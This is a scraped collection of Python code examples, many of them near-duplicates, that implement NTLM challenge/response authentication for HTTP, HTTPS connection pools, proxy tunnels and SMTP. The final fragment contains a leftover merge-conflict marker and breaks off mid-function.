def request_func(ip, port, proto, body):   
    if proto == 'https':
        conn = httplib.HTTPSConnection(ip, port)
    else:
        conn = httplib.HTTPConnection(ip, port)
    
    ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER)
    headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F"}
    
    conn.request("POST", URL, body, headers)
    response = conn.getresponse()
    resp_data = response.read()

    if response.status == 401:
            print "\t[*] Got 401 response with NTLM NONCE."
            print "\t[*] Trying authenticate current user..."
            Nonce = response.getheader("WWW-Authenticate")
            (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):])
            ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags)
            headers["Authorization"] = "NTLM " + ntlmresponce
            conn.request("POST", URL, body, headers)
            response = conn.getresponse()
            resp_data = response.read()
            if response.status != 401:
                    print "\t[+] Authentication and request sent successfully"
                    conn.close()
                    return resp_data
            conn.close()
            exit("\t[-] Authentication ERROR:\n\t[-] Cannot authenticate '%s/%s' with password '%s'"%(DOMAIN, USER, PASS))
Beispiel #2
0
    def retry_using_http_NTLM_auth(self, auth_header_field, auth_header, response):
        """Attempts to authenticate using HTTP NTLM challenge/response"""

        if auth_header in response.request.headers:
            return response

        request = response.request
        # initial auth header with username. will result in challenge
        auth = "NTLM %s" % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s\\%s" % (self.domain, self.username))
        request.headers[auth_header] = auth

        # we must keep the connection because NTLM authenticates the connection, not single requests
        request.headers["Connection"] = "Keep-Alive"

        request.send(anyway=True)
        response2 = request.response

        # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out)
        if response2.headers.get("set-cookie"):
            headers["Cookie"] = response2.headers.get("set-cookie")

        # get the challenge
        auth_header_value = response2.headers[auth_header_field]
        ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value[5:])

        # build response
        auth = "NTLM %s" % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(
            ServerChallenge, self.username, self.domain, self.password, NegotiateFlags
        )
        request.headers[auth_header] = auth
        request.headers["Connection"] = "Close"

        request.send(anyway=True)

        return request.response
    def _new_conn(self):
        # Performs the NTLM handshake that secures the connection. The socket
        # must be kept open while requests are performed.
        self.num_connections += 1
        log.debug('Starting NTLM HTTPS connection no. %d: https://%s%s',
                  self.num_connections, self.host, self.authurl)

        headers = {'Connection': 'Keep-Alive'}
        req_header = 'Authorization'
        resp_header = 'www-authenticate'

        conn = HTTPSConnection(host=self.host, port=self.port)

        # Send negotiation message
        headers[req_header] = (
            'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(self.rawuser))
        log.debug('Request headers: %s', headers)
        conn.request('GET', self.authurl, None, headers)
        res = conn.getresponse()
        reshdr = dict(res.getheaders())
        log.debug('Response status: %s %s', res.status, res.reason)
        log.debug('Response headers: %s', reshdr)
        log.debug('Response data: %s [...]', res.read(100))

        # Remove the reference to the socket, so that it can not be closed by
        # the response object (we want to keep the socket open)
        res.fp = None

        # Server should respond with a challenge message
        auth_header_values = reshdr[resp_header].split(', ')
        auth_header_value = None
        for s in auth_header_values:
            if s[:5] == 'NTLM ':
                auth_header_value = s[5:]
        if auth_header_value is None:
            raise Exception('Unexpected %s response header: %s' %
                            (resp_header, reshdr[resp_header]))

        # Send authentication message
        ServerChallenge, NegotiateFlags = \
            ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value)
        auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(
            ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags)
        headers[req_header] = 'NTLM %s' % auth_msg
        log.debug('Request headers: %s', headers)
        conn.request('GET', self.authurl, None, headers)
        res = conn.getresponse()
        log.debug('Response status: %s %s', res.status, res.reason)
        log.debug('Response headers: %s', dict(res.getheaders()))
        log.debug('Response data: %s [...]', res.read()[:100])
        if res.status != 200:
            if res.status == 401:
                raise Exception('Server rejected request: wrong '
                                'username or password')
            raise Exception('Wrong server response: %s %s' %
                            (res.status, res.reason))

        res.fp = None
        log.debug('Connection established')
        return conn
    def retry_using_http_NTLM_auth(self, req, auth_header_field, realm, headers):
        user, pw = self.passwd.find_user_password(realm, req.get_full_url())
        if pw is not None:
            # ntlm secures a socket, so we must use the same socket for the complete handshake
            headers = dict(req.headers)
            headers.update(req.unredirected_hdrs)
            auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(user)
            if req.headers.get(self.auth_header, None) == auth:
                return None
            headers[self.auth_header] = auth

            host = req.get_host()
            if not host:
                raise urllib2.URLError('no host given')
            h = None
            if req.get_full_url().startswith('https://'):
                h = httplib.HTTPSConnection(host) # will parse host:port
            else:
                h = httplib.HTTPConnection(host) # will parse host:port
            h.set_debuglevel(self._debuglevel)
            # we must keep the connection because NTLM authenticates the connection, not single requests
            headers["Connection"] = "Keep-Alive"
            headers = dict((name.title(), val) for name, val in headers.items())
            h.request(req.get_method(), req.get_selector(), req.data, headers)
            r = h.getresponse()
            r.begin()
            r._safe_read(int(r.getheader('content-length')))
            if r.getheader('set-cookie'):
                # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out)
                headers['Cookie'] = r.getheader('set-cookie')
            r.fp = None # remove the reference to the socket, so that it can not be closed by the response object (we want to keep the socket open)
            auth_header_value = r.getheader(auth_header_field, None)

            # begin patch
            if ',' in auth_header_value:
                auth_header_value, postfix = auth_header_value.split(',', 1)
            # end patch

            (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value[5:])
            user_parts = user.split('\\', 1)
            DomainName = user_parts[0].upper()
            UserName = user_parts[1]
            auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, UserName, DomainName, pw, NegotiateFlags)
            headers[self.auth_header] = auth
            headers["Connection"] = "Close"
            headers = dict((name.title(), val) for name, val in headers.items())
            try:
                h.request(req.get_method(), req.get_selector(), req.data, headers)
                # none of the configured handlers are triggered, for example redirect-responses are not handled!
                response = h.getresponse()
                def notimplemented():
                    raise NotImplementedError
                response.readline = notimplemented
                infourl = addinfourl(response, response.msg, req.get_full_url())
                infourl.code = response.status
                infourl.msg = response.reason
                return infourl
            except socket.error, err:
                raise urllib2.URLError(err)
Beispiel #5
0
    def _new_conn(self):

        self.num_connections += 1
        log.debug('Starting NTLM HTTPS connection no. %d: https://%s%s' %
                  (self.num_connections, self.host, self.authurl))

        headers = {}
        headers['Connection'] = 'Keep-Alive'
        req_header = 'Authorization'
        resp_header = 'www-authenticate'

        conn = HTTPSConnection(host=self.host, port=self.port)

        headers[req_header] = (
            'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(self.rawuser))
        log.debug('Request headers: %s' % headers)
        conn.request('GET', self.authurl, None, headers)
        res = conn.getresponse()
        reshdr = dict(res.getheaders())
        log.debug('Response status: %s %s' % (res.status, res.reason))
        log.debug('Response headers: %s' % reshdr)
        log.debug('Response data: %s [...]' % res.read(100))

        res.fp = None

        auth_header_values = reshdr[resp_header].split(', ')
        auth_header_value = None
        for s in auth_header_values:
            if s[:5] == 'NTLM ':
                auth_header_value = s[5:]
        if auth_header_value is None:
            raise Exception('Unexpected %s response header: %s' %
                            (resp_header, reshdr[resp_header]))


        ServerChallenge, NegotiateFlags = \
            ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value)
        auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(
            ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags)
        headers[req_header] = 'NTLM %s' % auth_msg
        log.debug('Request headers: %s' % headers)
        conn.request('GET', self.authurl, None, headers)
        res = conn.getresponse()
        log.debug('Response status: %s %s' % (res.status, res.reason))
        log.debug('Response headers: %s' % dict(res.getheaders()))
        log.debug('Response data: %s [...]' % res.read()[:100])
        if res.status != 200:
            if res.status == 401:
                raise Exception('Server rejected request: wrong '
                                'username or password')
            raise Exception('Wrong server response: %s %s' %
                            (res.status, res.reason))

        res.fp = None
        log.debug('Connection established')
        return conn
Beispiel #6
0
    def _new_conn(self):
        # Performs the NTLM handshake that secures the connection. The socket
        # must be kept open while requests are performed.
        self.num_connections += 1
        log.debug('Starting NTLM HTTPS connection no. %d: https://%s%s' % (self.num_connections, self.host, self.authurl))

        headers = {}
        headers['Connection'] = 'Keep-Alive'
        req_header = 'Authorization'
        resp_header = 'www-authenticate'

        conn = httplib.HTTPSConnection(host=self.host, port=self.port)

        # Send negotiation message
        headers[req_header] = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(self.rawuser)
        log.debug('Request headers: %s' % headers)
        conn.request('GET', self.authurl, None, headers)
        res = conn.getresponse()
        reshdr = dict(res.getheaders())
        log.debug('Response status: %s %s' % (res.status, res.reason))
        log.debug('Response headers: %s' % reshdr)
        log.debug('Response data: %s [...]' % res.read(100))

        # Remove the reference to the socket, so that it can not be closed by
        # the response object (we want to keep the socket open)
        res.fp = None

        # Server should respond with a challenge message
        auth_header_values = reshdr[resp_header].split(', ')
        auth_header_value = None
        for s in auth_header_values:
            if s[:5] == 'NTLM ':
                auth_header_value = s[5:]
        if auth_header_value is None:
            raise Exception('Unexpected %s response header: %s' % (resp_header, reshdr[resp_header]))

        # Send authentication message
        ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value)
        headers[req_header] = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags)
        log.debug('Request headers: %s' % headers)
        conn.request('GET', self.authurl, None, headers)
        res = conn.getresponse()
        log.debug('Response status: %s %s' % (res.status, res.reason))
        log.debug('Response headers: %s' % dict(res.getheaders()))
        log.debug('Response data: %s [...]' % res.read()[:100])
        if res.status != 200:
            if res.status == 401:
                raise Exception('Server rejected request: wrong username or password')
            raise Exception('Wrong server response: %s %s' % (res.status, res.reason))

        res.fp = None
        log.debug('Connection established')
        return conn
Beispiel #7
0
    def retry_using_http_NTLM_auth(self, auth_header_field, auth_header,
                                   response, args):
        """Attempts to authenticate using HTTP NTLM challenge/response"""

        if auth_header in response.request.headers:
            return response

        request = copy_request(response.request)

        # Pick an adapter to use. If a Session is in use, get the adapter from it.
        adapter = self.adapter
        if self.session:
            session = self.session()
            if session:
                adapter = session.get_adapter(response.request.url)

        # initial auth header with username. will result in challenge
        auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s\\%s" % (self.domain,self.username))
        request.headers[auth_header] = auth

        # A streaming response breaks authentication.
        # This can be fixed by not streaming this request, which is safe because
        # the returned response3 will still have stream=True set if specified in
        # args. In addition, we expect this request to give us a challenge
        # and not the real content, so the content will be short anyway.
        args_nostream = dict(args, stream=False)
        response2 = adapter.send(request, **args_nostream)

        # needed to make NTLM auth compatible with requests-2.3.0
        response2.content

        # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out)
        if response2.headers.get('set-cookie'):
            request.headers['Cookie'] = response2.headers.get('set-cookie')

        # get the challenge
        auth_header_value = response2.headers[auth_header_field]
        ntlm_header_value = list(filter(lambda s: s.startswith('NTLM '), auth_header_value.split(',')))[0].strip()
        ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(ntlm_header_value[5:])

        # build response
        request = copy_request(request)
        auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.username, self.domain, self.password, NegotiateFlags)
        request.headers[auth_header] = auth
        
        response3 = adapter.send(request, **args)

        # Update the history.
        response3.history.append(response)
        response3.history.append(response2)

        return response3
def ntlm_authenticate(smtp, username, password):
    code, response = smtp.docmd(
        "AUTH", "NTLM " + ntlm.create_NTLM_NEGOTIATE_MESSAGE(username))
    if code != 334:
        raise smtplib.SMTPException(
            "Server did not respond as expected to NTLM negotiate message")
    challenge, flags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(response)
    user_parts = username.split("\\", 1)
    code, response = smtp.docmd(
        "",
        ntlm.create_NTLM_AUTHENTICATE_MESSAGE(challenge, user_parts[1],
                                              user_parts[0], password, flags))
    if code != 235:
        raise smtplib.SMTPException(code, response)
Beispiel #9
0
    def retry_using_http_NTLM_auth(self, auth_header_field, auth_header,
                                   response, args):
        """Attempts to authenticate using HTTP NTLM challenge/response"""

        if auth_header in response.request.headers:
            return response

        request = copy_request(response.request)
        

        # initial auth header with username. will result in challenge
        if self.domain:
            auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s\\%s" % (self.domain, self.username))
        else:
            auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s" % self.username)
        request.headers[auth_header] = auth

        # we must keep the connection because NTLM authenticates the connection, not single requests
        request.headers["Connection"] = "Keep-Alive"

        # A streaming response breaks authentication.
        # This can be fixed by not streaming this request, which is safe because
        # the returned response3 will still have stream=True set if specified in
        # args. In addition, we expect this request to give us a challenge
        # and not the real content, so the content will be short anyway.
        args_nostream = dict(args, stream=False)
        response2 = self.adapter.send(request, **args_nostream)

        # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out)
        if response2.headers.get('set-cookie'):
            request.headers['Cookie'] = response2.headers.get('set-cookie')

        # get the challenge
        auth_header_value = response2.headers[auth_header_field]
        ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value[5:])

        # build response
        request = copy_request(request)
        auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.username, self.domain, self.password, NegotiateFlags)
        request.headers[auth_header] = auth
        request.headers["Connection"] = "Close"

        response3 = self.adapter.send(request, **args)

        # Update the history.
        response3.history.append(response)
        response3.history.append(response2)

        return response3
    def retry_using_http_NTLM_auth(self, auth_header_field, auth_header,
                                   response, args):
        """Attempts to authenticate using HTTP NTLM challenge/response"""

        if auth_header in response.request.headers:
            return response

        request = copy_request(response.request)
        

        # initial auth header with username. will result in challenge
        auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s\\%s" % (self.domain,self.username))
        request.headers[auth_header] = auth

        # we must keep the connection because NTLM authenticates the connection, not single requests
        request.headers["Connection"] = "Keep-Alive"

        # A streaming response breaks authentication.
        # This can be fixed by not streaming this request, which is safe because
        # the returned response3 will still have stream=True set if specified in
        # args. In addition, we expect this request to give us a challenge
        # and not the real content, so the content will be short anyway.
        args_nostream = dict(args, stream=False)
        response2 = self.adapter.send(request, **args_nostream)

        # needed to make NTLM auth compatible with requests-2.3.0
        response2.content

        # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out)
        if response2.headers.get('set-cookie'):
            request.headers['Cookie'] = response2.headers.get('set-cookie')

        # get the challenge
        auth_header_value = response2.headers[auth_header_field]
        ntlm_header_value = list(filter(lambda s: s.startswith('NTLM '), auth_header_value.split(',')))[0].strip()
        ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(ntlm_header_value[5:])

        # build response
        request = copy_request(request)
        auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.username, self.domain, self.password, NegotiateFlags)
        request.headers[auth_header] = auth
        
        response3 = self.adapter.send(request, **args)

        # Update the history.
        response3.history.append(response)
        response3.history.append(response2)

        return response3
Beispiel #11
0
    def request(self, method, url, body=None, headers={}):
        original_headers = headers.copy()

        # Handles the challenge request response cycle before the real request
        proxy_auth = headers.get('Proxy-Authorization')
        if os.name == 'nt' and proxy_auth and proxy_auth.lstrip(
        )[0:4] == 'NTLM':
            # The default urllib2.AbstractHTTPHandler automatically sets the
            # Connection header to close because of urllib.addinfourl(), but in
            # this case we are going to do some back and forth first for the NTLM
            # proxy auth
            headers['Connection'] = 'Keep-Alive'
            self._send_request(method, url, body, headers)

            response = self.getresponse()

            content_length = int(response.getheader('content-length', 0))
            if content_length:
                response._safe_read(content_length)

            proxy_authenticate = response.getheader('proxy-authenticate', None)
            if not proxy_authenticate:
                raise urllib2.URLError(
                    'Invalid NTLM proxy authentication response')
            ntlm_challenge = re.sub('^\s*NTLM\s+', '', proxy_authenticate)

            if self.host.find(':') != -1:
                host_port = self.host
            else:
                host_port = "%s:%s" % (self.host, self.port)
            username, password = self.passwd.find_user_password(
                None, host_port)
            domain = ''
            user = username
            if username.find('\\') != -1:
                domain, user = username.split('\\', 1)

            challenge, negotiate_flags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(
                ntlm_challenge)
            new_proxy_authorization = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(
                challenge, user, domain, password, negotiate_flags)
            original_headers['Proxy-Authorization'] = new_proxy_authorization
            response.close()

        httplib.HTTPConnection.request(self, method, url, body,
                                       original_headers)
Beispiel #12
0
    def _new_conn(self):
        self.num_connections += 1
        log.debug('Starting NTLM HTTPS connection no. %d: https://%s%s' % (self.num_connections, self.host, self.authurl))
        headers = {}
        headers['Connection'] = 'Keep-Alive'
        req_header = 'Authorization'
        resp_header = 'www-authenticate'
        conn = HTTPSConnection(host=self.host, port=self.port)
        headers[req_header] = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(self.rawuser)
        log.debug('Request headers: %s' % headers)
        conn.request('GET', self.authurl, None, headers)
        res = conn.getresponse()
        reshdr = dict(res.getheaders())
        log.debug('Response status: %s %s' % (res.status, res.reason))
        log.debug('Response headers: %s' % reshdr)
        log.debug('Response data: %s [...]' % res.read(100))
        res.fp = None
        auth_header_values = reshdr[resp_header].split(', ')
        auth_header_value = None
        for s in auth_header_values:
            if s[:5] == 'NTLM ':
                auth_header_value = s[5:]

        if auth_header_value is None:
            raise Exception('Unexpected %s response header: %s' % (resp_header, reshdr[resp_header]))
        ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value)
        auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags)
        headers[req_header] = 'NTLM %s' % auth_msg
        log.debug('Request headers: %s' % headers)
        conn.request('GET', self.authurl, None, headers)
        res = conn.getresponse()
        log.debug('Response status: %s %s' % (res.status, res.reason))
        log.debug('Response headers: %s' % dict(res.getheaders()))
        log.debug('Response data: %s [...]' % res.read()[:100])
        if res.status != 200:
            if res.status == 401:
                raise Exception('Server rejected request: wrong username or password')
            raise Exception('Wrong server response: %s %s' % (res.status, res.reason))
        res.fp = None
        log.debug('Connection established')
        return conn
    def request(self, method, url, body=None, headers={}):
        original_headers = headers.copy()

        # Handles the challenge request response cycle before the real request
        proxy_auth = headers.get('Proxy-Authorization')
        if os.name == 'nt' and proxy_auth and proxy_auth.lstrip()[0:4] == 'NTLM':
            # The default urllib2.AbstractHTTPHandler automatically sets the
            # Connection header to close because of urllib.addinfourl(), but in
            # this case we are going to do some back and forth first for the NTLM
            # proxy auth
            headers['Connection'] = 'Keep-Alive'
            self._send_request(method, url, body, headers)

            response = self.getresponse()

            content_length = int(response.getheader('content-length', 0))
            if content_length:
                response._safe_read(content_length)

            proxy_authenticate = response.getheader('proxy-authenticate', None)
            if not proxy_authenticate:
                raise urllib2.URLError('Invalid NTLM proxy authentication response')
            ntlm_challenge = re.sub('^\s*NTLM\s+', '', proxy_authenticate)

            if self.host.find(':') != -1:
                host_port = self.host
            else:
                host_port = "%s:%s" % (self.host, self.port)
            username, password = self.passwd.find_user_password(None, host_port)
            domain = ''
            user = username
            if username.find('\\') != -1:
                domain, user = username.split('\\', 1)

            challenge, negotiate_flags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(ntlm_challenge)
            new_proxy_authorization = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(challenge, user,
                domain, password, negotiate_flags)
            original_headers['Proxy-Authorization'] = new_proxy_authorization
            response.close()

        httplib.HTTPConnection.request(self, method, url, body, original_headers)
Beispiel #14
0
    def ntlm(self):
        """ AUTH NTLM handler
        """
        args = "NTLM " + create_NTLM_NEGOTIATE_MESSAGE(
            self.username).decode("utf-8")
        code, res = self.__server.docmd("AUTH", args)

        if code != self.SMTP_AUTH_CHALLENGE:
            raise ConnectionAbortedError(
                "Server did not respond as expected to NTLM negotiate message")

        chlng, flags = parse_NTLM_CHALLENGE_MESSAGE(res)
        user_parts = self.username.split("\\", 1)
        args = create_NTLM_AUTHENTICATE_MESSAGE(chlng, user_parts[1],
                                                user_parts[0], self.password,
                                                flags)
        args = args.decode("utf-8")
        code, res = self.__server.docmd("", args)

        if code != self.SMTP_AUTH_OKAY:
            raise ConnectionRefusedError(res)
    def retry_using_http_NTLM_auth(self, auth_header_field, auth_header,
                                   response, args):
        """Attempts to authenticate using HTTP NTLM challenge/response"""

        if auth_header in response.request.headers:
            return response

        request = copy_request(response.request)

        # initial auth header with username. will result in challenge
        auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s\\%s" % (self.domain,self.username))
        request.headers[auth_header] = auth

        # we must keep the connection because NTLM authenticates the connection, not single requests
        request.headers["Connection"] = "Keep-Alive"

        response2 = self.adapter.send(request, **args)

        # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out)
        if response2.headers.get('set-cookie'):
            request.headers['Cookie'] = response2.headers.get('set-cookie')

        # get the challenge
        auth_header_value = response2.headers[auth_header_field]
        ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value[5:])

        # build response
        request = copy_request(request)
        auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.username, self.domain, self.password, NegotiateFlags)
        request.headers[auth_header] = auth
        request.headers["Connection"] = "Close"

        response3 = self.adapter.send(request, **args)

        # Update the history.
        response3.history.append(response)
        response3.history.append(response2)

        return response3
Beispiel #16
0
 def retry_using_http_NTLM_auth(self, request, auth_header_field, realm, headers):
     auth_header_value = headers.getheader(auth_header_field, None)
     if auth_header_value is not None:
         server_data = auth_header_value[5:]
         try:
             challenge, flags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(server_data)
         except:
             # Invalid protocol
             return None
         else:
             user, pw = self.passwd.find_user_password(None, request.get_full_url())
             user_parts = user.split('\\', 1)
             domain_name = user_parts[0].upper()
             user_name = user_parts[1]
             auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(challenge,
                                                                      user_name,
                                                                      domain_name,
                                                                      pw, flags)
             request.add_unredirected_header(self.auth_header, auth)
             return self.parent.open(request, timeout=request.timeout)
     else:
         return None
Beispiel #17
0
    def retry_using_http_NTLM_auth(self, req, auth_header_field, realm,
                                   headers):
        user, pw = self.passwd.find_user_password(realm, req.get_full_url())
        if pw is not None:
            # ntlm secures a socket, so we must use the same socket for the complete handshake
            headers = dict(req.headers)
            headers.update(req.unredirected_hdrs)
            auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(user)
            if req.headers.get(self.auth_header, None) == auth:
                return None
            headers[self.auth_header] = auth

            host = req.get_host()
            if not host:
                raise urllib2.URLError('no host given')
            h = None
            if req.get_full_url().startswith('https://'):
                h = httplib.HTTPSConnection(host)  # will parse host:port
            else:
                h = httplib.HTTPConnection(host)  # will parse host:port
            h.set_debuglevel(self._debuglevel)
            # we must keep the connection because NTLM authenticates the connection, not single requests
            headers["Connection"] = "Keep-Alive"
            headers = dict(
                (name.title(), val) for name, val in headers.items())
            h.request(req.get_method(), req.get_selector(), req.data, headers)
            r = h.getresponse()
            r.begin()
            r._safe_read(int(r.getheader('content-length')))
            if r.getheader('set-cookie'):
                # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out)
                headers['Cookie'] = r.getheader('set-cookie')
            r.fp = None  # remove the reference to the socket, so that it can not be closed by the response object (we want to keep the socket open)
            auth_header_value = r.getheader(auth_header_field, None)

            # begin patch
            if ',' in auth_header_value:
                auth_header_value, postfix = auth_header_value.split(',', 1)
            # end patch

            (ServerChallenge,
             NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(
                 auth_header_value[5:])
            user_parts = user.split('\\', 1)
            DomainName = user_parts[0].upper()
            UserName = user_parts[1]
            auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(
                ServerChallenge, UserName, DomainName, pw, NegotiateFlags)
            headers[self.auth_header] = auth
            headers["Connection"] = "Close"
            headers = dict(
                (name.title(), val) for name, val in headers.items())
            try:
                h.request(req.get_method(), req.get_selector(), req.data,
                          headers)
                # none of the configured handlers are triggered, for example redirect-responses are not handled!
                response = h.getresponse()

                def notimplemented():
                    raise NotImplementedError

                response.readline = notimplemented
                infourl = addinfourl(response, response.msg,
                                     req.get_full_url())
                infourl.code = response.status
                infourl.msg = response.reason
                return infourl
            except socket.error, err:
                raise urllib2.URLError(err)
        def _tunnel(self, ntlm_follow_up=False):
            """
            This custom _tunnel method allows us to read and print the debug
            log for the whole response before throwing an error, and adds
            support for proxy authentication
            """

            self._proxy_host = self.host
            self._proxy_port = self.port
            self._set_hostport(self._tunnel_host, self._tunnel_port)

            self._tunnel_headers['Host'] = u"%s:%s" % (self.host, self.port)
            self._tunnel_headers['User-Agent'] = self.user_agent
            self._tunnel_headers['Proxy-Connection'] = 'Keep-Alive'

            request = "CONNECT %s:%d HTTP/1.1\r\n" % (self.host, self.port)
            for header, value in self._tunnel_headers.iteritems():
                request += "%s: %s\r\n" % (header, value)
            self.send(request + "\r\n")

            response = self.response_class(self.sock,
                                           strict=self.strict,
                                           method=self._method)
            (version, code, message) = response._read_status()

            status_line = u"%s %s %s" % (version, code, message.rstrip())
            headers = [status_line]

            if self.debuglevel in [-1, 5]:
                console_write(u'Urllib2 %s Debug Read' % self._debug_protocol,
                              True)
                console_write(u"  %s" % status_line)

            content_length = 0
            close_connection = False
            while True:
                line = response.fp.readline()
                if line == '\r\n':
                    break

                headers.append(line.rstrip())

                parts = line.rstrip().split(': ', 1)
                name = parts[0].lower()
                value = parts[1].lower().strip()
                if name == 'content-length':
                    content_length = int(value)

                if name in ['connection', 'proxy-connection'
                            ] and value == 'close':
                    close_connection = True

                if self.debuglevel in [-1, 5]:
                    console_write(u"  %s" % line.rstrip())

            # Handle proxy auth for SSL connections since regular urllib2 punts on this
            if code == 407 and self.passwd and ('Proxy-Authorization'
                                                not in self._tunnel_headers
                                                or ntlm_follow_up):
                if content_length:
                    response._safe_read(content_length)

                supported_auth_methods = {}
                for line in headers:
                    parts = line.split(': ', 1)
                    if parts[0].lower() != 'proxy-authenticate':
                        continue
                    details = parts[1].split(' ', 1)
                    supported_auth_methods[details[0].lower(
                    )] = details[1] if len(details) > 1 else ''

                username, password = self.passwd.find_user_password(
                    None, "%s:%s" % (self._proxy_host, self._proxy_port))

                do_ntlm_follow_up = False

                if 'digest' in supported_auth_methods:
                    response_value = self.build_digest_response(
                        supported_auth_methods['digest'], username, password)
                    if response_value:
                        self._tunnel_headers[
                            'Proxy-Authorization'] = u"Digest %s" % response_value

                elif 'basic' in supported_auth_methods:
                    response_value = u"%s:%s" % (username, password)
                    response_value = base64.b64encode(response_value).strip()
                    self._tunnel_headers[
                        'Proxy-Authorization'] = u"Basic %s" % response_value

                elif 'ntlm' in supported_auth_methods and os.name == 'nt':
                    ntlm_challenge = supported_auth_methods['ntlm']
                    if not len(ntlm_challenge):
                        type1_flags = ntlm.NTLM_TYPE1_FLAGS
                        if username.find('\\') == -1:
                            type1_flags &= ~ntlm.NTLM_NegotiateOemDomainSupplied

                        negotiate_message = ntlm.create_NTLM_NEGOTIATE_MESSAGE(
                            username, type1_flags)
                        self._tunnel_headers[
                            'Proxy-Authorization'] = 'NTLM %s' % negotiate_message
                        do_ntlm_follow_up = True
                    else:
                        domain = ''
                        user = username
                        if username.find('\\') != -1:
                            domain, user = username.split('\\', 1)

                        challenge, negotiate_flags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(
                            ntlm_challenge)
                        self._tunnel_headers[
                            'Proxy-Authorization'] = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(
                                challenge, user, domain, password,
                                negotiate_flags)

                if 'Proxy-Authorization' in self._tunnel_headers:
                    self.host = self._proxy_host
                    self.port = self._proxy_port

                    # If the proxy wanted the connection closed, we need to make a new connection
                    if close_connection:
                        self.sock.close()
                        self.sock = socket.create_connection(
                            (self.host, self.port), self.timeout)

                    return self._tunnel(do_ntlm_follow_up)

            if code != 200:
                self.close()
                raise socket.error("Tunnel connection failed: %d %s" %
                                   (code, message.strip()))
Beispiel #19
0
<<<<<<< HEAD
        auth_header_values = reshdr[resp_header].split(', ')
        auth_header_value = None
        for s in auth_header_values:
            if s[:5] == 'NTLM ':
                auth_header_value = s[5:]
        if auth_header_value is None:
            raise Exception('Unexpected %s response header: %s' %
                            (resp_header, reshdr[resp_header]))

        # Send authentication message
        ServerChallenge, NegotiateFlags = \
            ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value)
        auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge,
                                                         self.user,
                                                         self.domain,
                                                         self.pw,
                                                         NegotiateFlags)
        headers[req_header] = 'NTLM %s' % auth_msg
        log.debug('Request headers: %s', headers)
        conn.request('GET', self.authurl, None, headers)
        res = conn.getresponse()
        log.debug('Response status: %s %s', res.status, res.reason)
        log.debug('Response headers: %s', dict(res.getheaders()))
